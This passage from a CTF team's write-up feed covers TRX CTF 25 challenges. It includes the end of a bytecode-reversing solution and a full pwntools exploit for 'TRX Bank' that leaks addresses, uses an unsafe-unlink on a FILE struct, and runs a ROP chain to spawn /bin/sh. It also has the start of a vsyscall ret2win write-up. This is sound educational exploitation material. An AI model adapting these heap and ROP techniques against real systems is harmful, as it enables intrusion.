<p>Now we can start looking at the bytecode, the bytecode is structured in several sections, only two are useful, the constants section and the function section. The function section contains the bytecode we need to reverse, the constants section contains the value of all the costants of the program which are going to be accessed by ID in the bytecode.</p>
<p>The first check is on the last character of the flag which needs to be equal to &ldquo;}&rdquo;, and here alreay we can see that &ldquo;bb.4&rdquo; is the &ldquo;FAIL&rdquo; block so it&rsquo;s what we need to avoid.</p>
<pre tabindex="0"><code>0    1  OP_BC_CALL_API      [33 /168/  3]  3 = seek[3] (1775, 1776) -- constants[1775] = -1, constants[1776] = SEEK_END
0    2  OP_BC_CALL_API      [33 /168/  3]  4 = read[1] (p.1, 1777) -- constants[1777] = 1
0    3  OP_BC_COPY          [34 /171/  1]  cp 1 -&gt; 5
0    4  OP_BC_ICMP_EQ       [21 /106/  1]  6 = (5 == 1778)  -- constants[1778] = &#34;}&#34;
0    5  OP_BC_COPY          [34 /174/  4]  cp 1779 -&gt; 0
0    6  OP_BC_BRANCH        [17 / 85/  0]  br 6 ? bb.1 : bb.4
</code></pre><p>Next is the check on the size of the flag which is 44:</p>
<pre tabindex="0"><code>1    8  OP_BC_ICMP_EQ       [21 /108/  3]  8 = (3 == 1781) -- constants[1781] = 44
1    9  OP_BC_COPY          [34 /174/  4]  cp 1782 -&gt; 0
1   10  OP_BC_BRANCH        [17 / 85/  0]  br 8 ? bb.2 : bb.4
</code></pre><p>Now after this we see a series of operation on value of the file which follow the following format:</p>
<pre tabindex="0"><code>2   20  OP_BC_CALL_API      [33 /168/  3]  18 = seek[3] (1792, 1793)
2   21  OP_BC_CALL_API      [33 /168/  3]  19 = read[1] (p.1, 1794)
2   22  OP_BC_COPY          [34 /171/  1]  cp 1 -&gt; 20
2   23  OP_BC_AND           [11 / 56/  1]  21 = 20 &amp; 1795
2   24  OP_BC_ICMP_NE       [22 /111/  1]  22 = (21 != 1796)
</code></pre><p>which is equal to:</p>
<pre tabindex="0"><code>seek(X, SEEK_SET/SEEK_END)
read(buf, 1)
check = (buf &amp; Y) == Z
</code></pre><p>with the value of X,Y and Z all contained in the constants section.</p>
<p>Or:</p>
<pre tabindex="0"><code>2  1363  OP_BC_CALL_API      [33 /168/  3]  1361 = seek[3] (3135, 3136)
2  1364  OP_BC_CALL_API      [33 /168/  3]  1362 = read[1] (p.1, 3137)
2  1365  OP_BC_COPY          [34 /171/  1]  cp 1 -&gt; 1363
2  1366  OP_BC_ICMP_UGT      [23 /116/  1]  1364 = (1363 &gt; 3138)
</code></pre><p>which is equal to:</p>
<pre tabindex="0"><code>seek(X, SEEK_SET/SEEK_END)
read(buf, 1)
check = (buf &gt; Y)
</code></pre><p>And if we scroll all the way to the bottom, we can there the check is performed:</p>
<pre tabindex="0"><code>...
2  1759  OP_BC_SELECT        [31 /155/  0]  1757 = 1756 ? 3531 : 71)
2  1760  OP_BC_SELECT        [31 /155/  0]  1758 = 1757 ? 3532 : 67)
2  1761  OP_BC_SELECT        [31 /155/  0]  1759 = 1758 ? 3533 : 63)
2  1762  OP_BC_SELECT        [31 /155/  0]  1760 = 1759 ? 3534 : 59)
2  1763  OP_BC_SELECT        [31 /155/  0]  1761 = 1760 ? 3535 : 54)
2  1764  OP_BC_SELECT        [31 /155/  0]  1762 = 1761 ? 3536 : 50)
2  1765  OP_BC_SELECT        [31 /155/  0]  1763 = 1762 ? 3537 : 45)
2  1766  OP_BC_SELECT        [31 /155/  0]  1764 = 1763 ? 3538 : 41)
2  1767  OP_BC_SELECT        [31 /155/  0]  1765 = 1764 ? 3539 : 36)
2  1768  OP_BC_SELECT        [31 /155/  0]  1766 = 1765 ? 3540 : 31)
2  1769  OP_BC_SELECT        [31 /155/  0]  1767 = 1766 ? 3541 : 27)
2  1770  OP_BC_SELECT        [31 /155/  0]  1768 = 1767 ? 3542 : 22)
2  1771  OP_BC_SELECT        [31 /155/  0]  1769 = 1768 ? 3543 : 17)
2  1772  OP_BC_SELECT        [31 /155/  0]  1770 = 1769 ? 3544 : 1461)
2  1773  OP_BC_COPY          [34 /174/  4]  cp 3545 -&gt; 0
2  1774  OP_BC_BRANCH        [17 / 85/  0]  br 1770 ? bb.4 : bb.3
</code></pre><p>which is just an efficient way of making sure that all the checks are equal to 0. Meaning that all the conditions above need to be False.</p>
<p>After noticing this we just need to write a parser that extracts all the conditions and passes then to z3 which is what i have done in the &ldquo;solve.py&rdquo; script.</p>
<p>Fun Fact: The AND contitions are by themselfs almost enough to get the flag, except for one character which is incorrectly capitalized, after adding the LESS condition the solution becomes correct.</p>
]]></content></item><item><title>TRX CTF 25 - TRX Bank</title><link>https://theromanxpl0.it/posts/2025/02/trx-ctf-25-trx-bank/</link><pubDate>Wed, 26 Feb 2025 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2025/02/trx-ctf-25-trx-bank/</guid><description>&lt;h2 id="description">Description&lt;/h2>
&lt;p>To all our Valued Customers, at TRX Bank we aim to provide only the top-notch banking and customer experience;&lt;br>
all reports about so-called &amp;ldquo;data leaks&amp;rdquo; are baseless slander from our competitors.&lt;/p>
&lt;p>&lt;strong>DISCLAIMER&lt;/strong>: Please test your solve locally before spawning a remote instance of the challenge!&lt;/p>
&lt;h2 id="overview-of-the-challenge">Overview of the challenge&lt;/h2>
&lt;p>The challenge allows us to create/delete bank accounts and make transfers/deposits,
there&amp;rsquo;s also a &lt;code>secret_backdoor&lt;/code> function, which we can access only after successfully leaking pie, which allows us to overwrite part of the &lt;code>fp_rand&lt;/code> file struct used to create random IBANs&lt;/p></description><content type="html"><![CDATA[<h2 id="description">Description</h2>
<p>To all our Valued Customers, at TRX Bank we aim to provide only the top-notch banking and customer experience;<br>
all reports about so-called &ldquo;data leaks&rdquo; are baseless slander from our competitors.</p>
<p><strong>DISCLAIMER</strong>: Please test your solve locally before spawning a remote instance of the challenge!</p>
<h2 id="overview-of-the-challenge">Overview of the challenge</h2>
<p>The challenge allows us to create/delete bank accounts and make transfers/deposits,
there&rsquo;s also a <code>secret_backdoor</code> function, which we can access only after successfully leaking pie, which allows us to overwrite part of the <code>fp_rand</code> file struct used to create random IBANs</p>
<h2 id="solution">Solution</h2>
<p>The first step to solving the challenge is noticing a missing check in the <code>transfer</code> function, we can make the <code>scanf</code> call that asks the transfer amount fail, allowing us to use the uninitialized variable as an oracle, we can then binary search that value against our account balance.<br>
This allows us to leak pie/heap/libc/stack by making the binary reach different functions before transferring (see <a href="solve/solve.py">solve.py</a> for details)</p>
<p>The second step involves overwriting the <code>prev_chain</code> and <code>chain</code> fields of the file struct, allowing us to perform an <code>unsafe-unlink</code> to gain a limited <code>write-what</code> primitive, the catch is that both the write and the what must be writeable addresses<br>
One possible solution is to overwrite a saved <code>rbp</code> on the stack and pivot to a controlled location.</p>
<p>The last thing we need is a place to store our rop-chain, i opted for writing it to the heap by overwriting the <code>_fileno</code> to stdin and creating new IBANs</p>
<h2 id="solve-script">Solve Script</h2>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#6c7986">#!/usr/bin/env python3</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> pwn <span style="color:#fc5fa3">import</span> *
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> time <span style="color:#fc5fa3">import</span> sleep
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>exe = ELF(<span style="color:#fc6a5d">&#34;./chal_patched&#34;</span>)
</span></span><span style="display:flex;"><span>libc = ELF(<span style="color:#fc6a5d">&#34;./libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context.binary = exe
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>DOCKER_PORT = <span style="color:#d0bf69">3317</span>
</span></span><span style="display:flex;"><span>REMOTE_NC_CMD    = <span style="color:#fc6a5d">&#34;nc bank.ctf.theromanxpl0.it 7010&#34;</span>    <span style="color:#6c7986"># `nc &lt;host&gt; &lt;port&gt;`</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>bstr = <span style="color:#fc5fa3">lambda</span> x: <span style="color:#d0a8ff">str</span>(x).encode()
</span></span><span style="display:flex;"><span>ELF.binsh = <span style="color:#fc5fa3">lambda</span> <span style="color:#a167e6">self</span>: <span style="color:#d0a8ff">next</span>(<span style="color:#a167e6">self</span>.search(<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;/bin/sh</span><span style="color:#fc6a5d">\0</span><span style="color:#fc6a5d">&#34;</span>))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>GDB_SCRIPT = <span style="color:#fc6a5d">&#34;&#34;&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">set follow-fork-mode parent
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">set follow-exec-mode same
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">b *transfer+334
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&#34;&#34;&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">conn</span>():
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> args.LOCAL:
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span> process([exe.path])
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> args.GDB:
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span> gdb.debug([exe.path], gdbscript=GDB_SCRIPT)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> args.DOCKER:
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span> remote(<span style="color:#fc6a5d">&#34;localhost&#34;</span>, DOCKER_PORT)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> remote(REMOTE_NC_CMD.split()[<span style="color:#d0bf69">1</span>], <span style="color:#d0a8ff">int</span>(REMOTE_NC_CMD.split()[<span style="color:#d0bf69">2</span>]))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">main</span>():
</span></span><span style="display:flex;"><span>    r = conn()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">malloc</span>():
</span></span><span style="display:flex;"><span>        r.sendline(<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>        r.recvuntil(<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;your IBAN is &#34;</span>)
</span></span><span style="display:flex;"><span>        ret = r.recv(<span style="color:#d0bf69">31</span>)
</span></span><span style="display:flex;"><span>        r.recvuntil(<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;&gt;&#34;</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span> ret
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">free</span>(IBAN):
</span></span><span style="display:flex;"><span>        r.sendline(<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;3&#34;</span>)
</span></span><span style="display:flex;"><span>        r.recvuntil(<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;Please enter your IBAN:&#34;</span>)
</span></span><span style="display:flex;"><span>        r.send(IBAN)
</span></span><span style="display:flex;"><span>        r.recvuntil(<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;&gt;&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">deposit</span>(IBAN, n):
</span></span><span style="display:flex;"><span>        r.sendline(<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;4&#34;</span>)
</span></span><span style="display:flex;"><span>        r.send(IBAN)
</span></span><span style="display:flex;"><span>        r.sendline(bstr(n))
</span></span><span style="display:flex;"><span>        r.recvuntil(<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;&gt;&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">transfer</span>(src, dst, n):
</span></span><span style="display:flex;"><span>        r.sendline(<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;5&#34;</span>)
</span></span><span style="display:flex;"><span>        r.send(src)
</span></span><span style="display:flex;"><span>        r.send(dst)
</span></span><span style="display:flex;"><span>        r.sendline(n)
</span></span><span style="display:flex;"><span>        r.recvuntil(<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;How much do you want to transfer?</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>        ret = r.recvline()
</span></span><span style="display:flex;"><span>        r.recvuntil(<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;&gt;&#34;</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span> ret
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">spray_heap</span>(data=<span style="color:#fc5fa3">None</span>):
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> data==<span style="color:#fc5fa3">None</span>:
</span></span><span style="display:flex;"><span>            r.send(<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;AA&#34;</span>)
</span></span><span style="display:flex;"><span>            r.recvuntil(<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;&gt;&#34;</span>)
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">return</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">0</span>, <span style="color:#d0a8ff">len</span>(data), <span style="color:#d0bf69">0x2</span>):
</span></span><span style="display:flex;"><span>            r.send(data[i:i+<span style="color:#d0bf69">2</span>])
</span></span><span style="display:flex;"><span>            r.recvuntil(<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;&gt;&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">backdoor</span>(addr, data=<span style="color:#fc5fa3">None</span>):
</span></span><span style="display:flex;"><span>        r.sendline(<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;6&#34;</span>)
</span></span><span style="display:flex;"><span>        r.sendline(<span style="color:#d0a8ff">hex</span>(addr).encode())
</span></span><span style="display:flex;"><span>        r.send(data)
</span></span><span style="display:flex;"><span>        r.recvuntil(<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;&gt;&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">binary_search</span>(l, r, <span style="color:#d0a8ff">type</span>=<span style="color:#fc5fa3">None</span>):
</span></span><span style="display:flex;"><span>        mid = (l+r)//<span style="color:#d0bf69">2</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        free(n[<span style="color:#d0bf69">0</span>])
</span></span><span style="display:flex;"><span>        n[<span style="color:#d0bf69">0</span>] = malloc()
</span></span><span style="display:flex;"><span>        deposit(n[<span style="color:#d0bf69">0</span>], mid)
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> <span style="color:#d0a8ff">type</span> == <span style="color:#fc6a5d">&#34;STACK&#34;</span>:
</span></span><span style="display:flex;"><span>            fp = FileStructure()
</span></span><span style="display:flex;"><span>            fp.fileno = <span style="color:#d0bf69">3</span>
</span></span><span style="display:flex;"><span>            fp._lock = exe.bss(<span style="color:#d0bf69">0x300</span>)
</span></span><span style="display:flex;"><span>            backdoor(exe.sym.secret_backdoor, <span style="color:#d0a8ff">bytes</span>(fp)[<span style="color:#d0bf69">0x60</span>:<span style="color:#d0bf69">0x60</span>+<span style="color:#d0bf69">0x77</span>])
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">elif</span> <span style="color:#d0a8ff">type</span> == <span style="color:#fc6a5d">&#34;HEAP&#34;</span>:
</span></span><span style="display:flex;"><span>            n[<span style="color:#d0bf69">0x1f</span>] = malloc()
</span></span><span style="display:flex;"><span>            free(n[<span style="color:#d0bf69">0x1f</span>])
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">elif</span> <span style="color:#d0a8ff">type</span> == <span style="color:#fc6a5d">&#34;LIBC&#34;</span>:
</span></span><span style="display:flex;"><span>            spray_heap()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        res = transfer(n[<span style="color:#d0bf69">0</span>], n[<span style="color:#d0bf69">1</span>], <span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;-&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> l&gt;=r:
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">return</span> mid
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">elif</span> <span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;insufficient&#34;</span> in res:
</span></span><span style="display:flex;"><span>            l=mid+<span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">elif</span> <span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;completed&#34;</span> in res:
</span></span><span style="display:flex;"><span>            r=mid-<span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span> binary_search(l,r, <span style="color:#d0a8ff">type</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc6a5d">&#39;&#39;&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">    USE UNINITIALIZED VARIABLE AS AN ORACLE TO LEAK PIE/HEAP/LIBC
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">    &#39;&#39;&#39;</span>
</span></span><span style="display:flex;"><span>    n = []
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">0x2</span>):
</span></span><span style="display:flex;"><span>        n.append(malloc())
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    exe.address = binary_search(<span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">2</span>**<span style="color:#d0bf69">48</span>) - exe.sym.deposit - <span style="color:#d0bf69">225</span>
</span></span><span style="display:flex;"><span>    log.info(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;PIE @ </span><span style="color:#fc6a5d">{</span><span style="color:#d0a8ff">hex</span>(exe.address)<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>    stack = binary_search(<span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">2</span>**<span style="color:#d0bf69">48</span>, <span style="color:#fc6a5d">&#34;STACK&#34;</span>)
</span></span><span style="display:flex;"><span>    log.info(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;STACK @ </span><span style="color:#fc6a5d">{</span><span style="color:#d0a8ff">hex</span>(stack)<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">0x1d</span>):
</span></span><span style="display:flex;"><span>        n.append(malloc())
</span></span><span style="display:flex;"><span>    n.append(<span style="color:#d0bf69">0</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    heap = binary_search(<span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">2</span>**<span style="color:#d0bf69">48</span>, <span style="color:#fc6a5d">&#34;HEAP&#34;</span>) - <span style="color:#d0bf69">0x1a30</span>
</span></span><span style="display:flex;"><span>    log.info(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;HEAP @ </span><span style="color:#fc6a5d">{</span><span style="color:#d0a8ff">hex</span>(heap)<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    libc.address = binary_search(<span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">2</span>**<span style="color:#d0bf69">48</span>, <span style="color:#fc6a5d">&#34;LIBC&#34;</span>) - libc.sym.puts - <span style="color:#d0bf69">474</span>
</span></span><span style="display:flex;"><span>    log.info(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;LIBC @ </span><span style="color:#fc6a5d">{</span><span style="color:#d0a8ff">hex</span>(libc.address)<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc6a5d">&#39;&#39;&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">    UNSAFE UNLINK TO OVERWRITE SAVED RBP AND ROP
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">    &#39;&#39;&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    fp = FileStructure()
</span></span><span style="display:flex;"><span>    fp.fileno = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>    fp._lock = exe.bss(<span style="color:#d0bf69">0x300</span>)
</span></span><span style="display:flex;"><span>    fp.chain = heap+<span style="color:#d0bf69">0x5a0</span> <span style="color:#6c7986">#our saved ropchain on the heap</span>
</span></span><span style="display:flex;"><span>    fp.unknown2 = p64(<span style="color:#d0bf69">0</span>)*<span style="color:#d0bf69">2</span> + p64(stack-<span style="color:#d0bf69">0x168</span>) + p64(-<span style="color:#d0bf69">1</span>, signed=<span style="color:#fc5fa3">True</span>) + p64(<span style="color:#d0bf69">0</span>) <span style="color:#6c7986">#prevchain and the saved rbp on the stack</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    backdoor(exe.sym.secret_backdoor, <span style="color:#d0a8ff">bytes</span>(fp)[<span style="color:#d0bf69">0x60</span>:<span style="color:#d0bf69">0x60</span>+<span style="color:#d0bf69">0x77</span>])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    rop2 = ROP(libc)
</span></span><span style="display:flex;"><span>    rop2.rdi = libc.binsh()
</span></span><span style="display:flex;"><span>    rop2.raw(rop2.ret.address)
</span></span><span style="display:flex;"><span>    rop2.raw(libc.sym.system)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    rop = ROP(libc)
</span></span><span style="display:flex;"><span>    rop.raw(<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;A&#34;</span>*<span style="color:#d0bf69">0xf8</span>)
</span></span><span style="display:flex;"><span>    rop.read(<span style="color:#d0bf69">0</span>, stack-<span style="color:#d0bf69">0x200</span>, <span style="color:#d0a8ff">len</span>(rop2.chain()))
</span></span><span style="display:flex;"><span>    rop.rsp = stack-<span style="color:#d0bf69">0x200</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">11</span>):
</span></span><span style="display:flex;"><span>        free(malloc())
</span></span><span style="display:flex;"><span>    r.sendline(<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    r.send(<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\0</span><span style="color:#fc6a5d">&#34;</span>*<span style="color:#d0bf69">15</span>)
</span></span><span style="display:flex;"><span>    r.recvuntil(<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;&gt;&#34;</span>, timeout=<span style="color:#d0bf69">2</span>)
</span></span><span style="display:flex;"><span>    free(n[<span style="color:#d0bf69">0</span>])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    r.sendline(<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    r.send((rop.chain()))
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">#gdb.attach(r, gdbscript=&#34;b fclose\nb *leave+97\nc&#34;)</span>
</span></span><span style="display:flex;"><span>    fp = FileStructure()
</span></span><span style="display:flex;"><span>    fp.fileno = <span style="color:#d0bf69">3</span>
</span></span><span style="display:flex;"><span>    fp._lock = exe.bss(<span style="color:#d0bf69">0x300</span>)
</span></span><span style="display:flex;"><span>    fp.chain = heap+<span style="color:#d0bf69">0x5a0</span> <span style="color:#6c7986">#our saved ropchain on the heap</span>
</span></span><span style="display:flex;"><span>    fp.unknown2 = p64(<span style="color:#d0bf69">0</span>)*<span style="color:#d0bf69">2</span> + p64(stack-<span style="color:#d0bf69">0x168</span>) + p64(-<span style="color:#d0bf69">1</span>, signed=<span style="color:#fc5fa3">True</span>) + p64(<span style="color:#d0bf69">0</span>) <span style="color:#6c7986">#prevchain and the saved rbp on the stack</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    r.recvuntil(<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;&gt;&#34;</span>)
</span></span><span style="display:flex;"><span>    backdoor(exe.sym.secret_backdoor, <span style="color:#d0a8ff">bytes</span>(fp)[<span style="color:#d0bf69">0x60</span>:<span style="color:#d0bf69">0x60</span>+<span style="color:#d0bf69">0x77</span>])
</span></span><span style="display:flex;"><span>    r.sendline(<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;7&#34;</span>)
</span></span><span style="display:flex;"><span>    r.recvuntil(<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;We&#39;re sorry &#34;</span>)
</span></span><span style="display:flex;"><span>    r.send(rop2.chain())
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    r.interactive()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> <span style="color:#41a1c0">__name__</span> == <span style="color:#fc6a5d">&#34;__main__&#34;</span>:
</span></span><span style="display:flex;"><span>    main()
</span></span></code></pre></div><h2 id="flag">Flag</h2>
<p><code>TRX{un54f3_unl1nk_15_n07_f0r_7h3_h34p_0nly_a4b62c68}</code></p>
]]></content></item><item><title>TRX CTF 25 - virtual insanity</title><link>https://theromanxpl0.it/posts/2025/02/trx-ctf-25-virtual-insanity/</link><pubDate>Wed, 26 Feb 2025 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2025/02/trx-ctf-25-virtual-insanity/</guid><description>&lt;h2 id="description">Description&lt;/h2>
&lt;p>Dancing, Walking, Rearranging Furniture&lt;/p>
&lt;p>&lt;strong>DISCLAIMER&lt;/strong>: This challenge doesn&amp;rsquo;t require brute-forcing&lt;/p>
&lt;h2 id="overview-of-the-challenge">Overview of the challenge&lt;/h2>
&lt;p>The challenge is a standard ret2win with a pretty obvious overflow of 0x30 bytes, the binary is compiled without stack canary protection but has pie, with no apparent way to leak addresses.&lt;/p>
&lt;h2 id="solution">Solution&lt;/h2>
&lt;p>The intended solution involves performing a partial overwrite to redirect execution to the &lt;code>win&lt;/code> function. However, the return address on the stack is a libc address. To work around this, we can leverage &lt;a href="https://0xax.gitbooks.io/linux-insides/content/SysCall/linux-syscall-3.html">vsyscall&lt;/a> to traverse the stack until we locate the address of &lt;code>main&lt;/code>. By modifying its least significant byte (LSB), we can transform it into the address of &lt;code>win&lt;/code>. When execution returns, &lt;code>vsyscall&lt;/code> effectively acts as a &lt;code>ret&lt;/code> gadget, allowing us to redirect control flow to &lt;code>win&lt;/code>.&lt;/p></description><content type="html"><![CDATA[<h2 id="description">Description</h2>
<p>Dancing, Walking, Rearranging Furniture</p>
<p><strong>DISCLAIMER</strong>: This challenge doesn&rsquo;t require brute-forcing</p>
<h2 id="overview-of-the-challenge">Overview of the challenge</h2>
<p>The challenge is a standard ret2win with a pretty obvious overflow of 0x30 bytes, the binary is compiled without stack canary protection but has pie, with no apparent way to leak addresses.</p>
<h2 id="solution">Solution</h2>
<p>The intended solution involves performing a partial overwrite to redirect execution to the <code>win</code> function. However, the return address on the stack is a libc address. To work around this, we can leverage <a href="https://0xax.gitbooks.io/linux-insides/content/SysCall/linux-syscall-3.html">vsyscall</a> to traverse the stack until we locate the address of <code>main</code>. By modifying its least significant byte (LSB), we can transform it into the address of <code>win</code>. When execution returns, <code>vsyscall</code> effectively acts as a <code>ret</code> gadget, allowing us to redirect control flow to <code>win</code>.</p>
<p><strong>Before overwrite:</strong>
<img src="/trxctf25/virtual/img1.png" alt=""></p>
<p><strong>After overwrite:</strong>
<img src="/trxctf25/virtual/img2.png" alt=""></p>
<h2 id="solve-script">Solve Script</h2>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#6c7986">#!/usr/bin/env python3</span>
</span></span><span style="display:flex;"><span>
